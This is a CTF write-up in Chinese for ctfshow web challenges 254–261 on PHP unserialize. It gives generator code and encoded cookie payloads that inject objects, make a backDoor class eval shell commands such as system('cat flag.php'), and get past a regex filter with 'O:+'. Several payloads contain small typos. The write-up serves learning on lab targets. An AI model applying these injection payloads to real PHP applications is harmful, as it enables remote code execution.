254
分析代码:
如果用户名和密码参数都存在,脚本会创建一个 ctfShowUser
类的实例 $user
。
接着,调用 $user->login($username, $password)
方法尝试登录。如果登录成功(即用户名和密码与类中的默认值匹配),并且用户被标记为VIP($isVip
为 true
),则调用 $user->vipOneKeyGetFlag()
方法输出 $flag
的值。
如果登录失败或用户不是VIP,脚本将输出 "no vip, no flag"。
要让程序返回true
需要确保通过GET请求传递的用户名和密码与 ctfShowUser 类中定义的默认用户名和密码相匹配。默认的用户名和密码都是 'xxxxxx'。
payload:
?username=xxxxxx&password=xxxxxx
255
第一个 if
语句检查是否通过GET请求设置了用户名和密码。
第二个 if
语句检查通过反序列化cookie中的用户对象调用 login
方法后返回的结果。
构造代码:
<?php
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
}
$a= new ctfShowUser();
$a->isVip = true;
echo urlencode(serialize($a));
?>
序列化得到:
O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
将代码进行url编码
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
更改cookie为:
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
payload和254相同
?username=xxxxxx&password=xxxxxx
256
发现要求username和passaword的值不完全相等
if($this->username!==$this->password)
步骤同上题,构造:
<?php
//highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='a';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
}
$a= new ctfShowUser();
$a->isVip = true;
echo urlencode(serialize($a));
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22a%22%3Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22ture%22%3B%7D
?username=xxxxxx&password=a
257
ctfShowUser
这个类有几个私有属性:$username、$password、$isVip 和 $class。
__construct 方法尝试创建一个 info 类的实例并赋值给 $class
login 方法检查传入的用户名和密码是否与类的私有属性 $username 和 $password 相匹配。
__destruct 方法在对象销毁时调用,尝试调用 $class 对象的 getInfo 方法。
info
存在一个私有属性 $user 和一个公共方法 getInfo,用于返回 $user 的值。
backDoor
存在一个私有属性 $code 和一个公共方法 getInfo。getInfo 方法使用 eval 执行 $code 属性的内容。
登录逻辑
代码从 $_GET 获取用户名和密码,并检查它们是否已设置。
如果设置了,代码尝试从 $_COOKIE['user'] 反序列化一个对象,并调用其 login 方法。
ctfShowUser对象生成时会创建一个info的对象,结束时会调用info的getInfo
构造:
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('cat flag.php');";
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
payload
?username=xxxxxx&?password=xxxxxx
cookie
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
258
添加了正则匹配
使用正则表达式来检查序列化字符串是否以 o:
或 c:
开头
用0:+数字即可绕过
构造代码:
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code="system('tac f*');";
public function getInfo(){
eval($this->code);
}
}
echo serialize(new ctfShowUser);
?>
修改一下:
O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:17:"system('tac f*');";}}
url编码
O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system('tac%20f*')%3B%22%3B%7D%7D
259
260
构造代码:
<?php
class ctfshow{
public $a='ctfshow_i_love_36D';
}
echo serialize(new ctfshow());
?>
运行结果:
O:7:"ctfshow":1:{s:1:"a";s:18:"ctfshow_i_love_36D";}
261
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);